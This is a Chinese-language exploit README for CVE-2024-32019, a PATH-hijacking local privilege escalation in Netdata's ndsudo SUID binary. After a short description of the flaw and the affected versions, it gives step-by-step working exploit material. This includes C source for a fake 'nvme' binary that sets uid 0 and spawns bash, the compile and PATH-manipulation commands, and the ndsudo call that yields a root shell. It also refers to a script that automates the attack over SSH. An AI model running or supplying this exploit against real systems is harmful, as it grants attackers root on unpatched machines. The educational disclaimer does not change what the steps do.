CVE-2024-32019 是 Netdata(版本 >= 1.44.0-60 且 < 1.45.3)中的一个高严重性本地权限提升漏洞,由 ndsudo SUID 二进制文件中对 PATH 变量的不安全使用所致,攻击者可借此以 root 身份执行任意命令。
ndsudo PATH 漏洞利用 (LPE 提权至 Root)一个基于 Python 的漏洞利用工具,针对 CVE-2024-32019(Netdata Agent 中的一个高危本地权限提升漏洞),利用了一个配置错误的 SUID 二进制文件(ndsudo),该文件未能安全处理 PATH 环境变量。
[!Caution] 此代码仅用于教育和授权测试目的。未经授权在您不拥有或未经明确许可的系统上使用此工具是非法的。
CVE ID: CVE-2024-32019
CVSS 评分: 8.8 (高危)
披露日期: 2024年4月12日
组件: Netdata Agent
受影响版本:
>= v1.45.0, < v1.45.3>= v1.44.0-60, < v1.45.0-169Netdata 的 ndsudo 工具是一个 SUID root 二进制文件,旨在代表非 root 用户安全地执行一组有限的系统命令(如 nvme)。
然而,由于实现缺陷,它在解析命令二进制文件时会尊重用户控制的 PATH 变量。如果攻击者能够操纵 PATH 使其包含一个包含恶意二进制文件的可写目录,ndsudo 将以 root 权限执行该文件——从而导致本地权限提升。
以下步骤演示了如何手动利用 ndsudo 中的漏洞。
将以下 C 代码保存为 nvme.c:
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main() {
setuid(0);
setgid(0);
execl("/bin/bash", "bash", NULL);
return 0;
}
gcc nvme.c -o nvme
mkdir -p /tmp/fakebin
mv nvme /tmp/fakebin/
chmod +x /tmp/fakebin/nvme
PATHexport PATH=/tmp/fakebin:$PATH
which nvme
# Output: /tmp/fakebin/nvme
/opt/netdata/usr/libexec/netdata/plugins.d/ndsudo nvme-list
如果成功,您将获得一个 root shell。
# whoami
root
如果您具有 SSH 访问权限,可以使用 CVE-2024-32019-dbs.py 来自动化此过程。
